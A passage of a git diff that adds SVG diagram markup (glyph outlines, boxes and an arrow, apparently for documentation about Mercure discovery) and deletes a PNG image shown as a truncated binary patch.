+<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface7147">
+<rect x="0" y="0" width="441" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 29 6 L 29 16 L 7 16 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/>
+  <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/>
+  <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/>
+  <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 13 C 8.134375 13 8 13.134375 8 13.3 L 8 14.7 C 8 14.865625 8.134375 15 8.3 15 L 13.7 15 C 13.865625 15 14 14.865625 14 14.7 L 14 13.3 C 14 13.134375 13.865625 13 13.7 13 Z M 8.3 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="169.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="169.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="169.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="169.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 13 C 22.134375 13 22 13.134375 22 13.3 L 22 14.7 C 22 14.865625 22.134375 15 22.3 15 L 27.7 15 C 27.865625 15 28 14.865625 28 14.7 L 28 13.3 C 28 13.134375 27.865625 13 27.7 13 Z M 22.3 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="169.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="169.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="169.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="169.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="169.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="169.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="169.00217"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/discovery.png b/_images/mercure/discovery.png
deleted file mode 100644
index 0ef38271de6c1fcf9c83d8cb0984181773da4919..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 176913
zcmZr&cRbZ^`!8uoQY0%BnJ1K4cF5lASceK(*?Xr*$;e*WdmXZmgCj!7b{t#wIJR@_
z@%!lcJ>QPL&p%!qFQ3nSU-vcM*ZY0lKB_256J4dcdhXmgB3T(pwR7h#H=H|nVeHB!
z;FFD#v=`^j-90BO`BcO8{PGw<tOm+!{%8VL4lY{0;y37b<1YS{&tfEw@>kd^OmxK6
zz6f_7E4?CViFj-?CHvl`Iie|PFl4SnsAxi#=_7N*#*K8wlKYnD@8OFRUim72h2Y-y
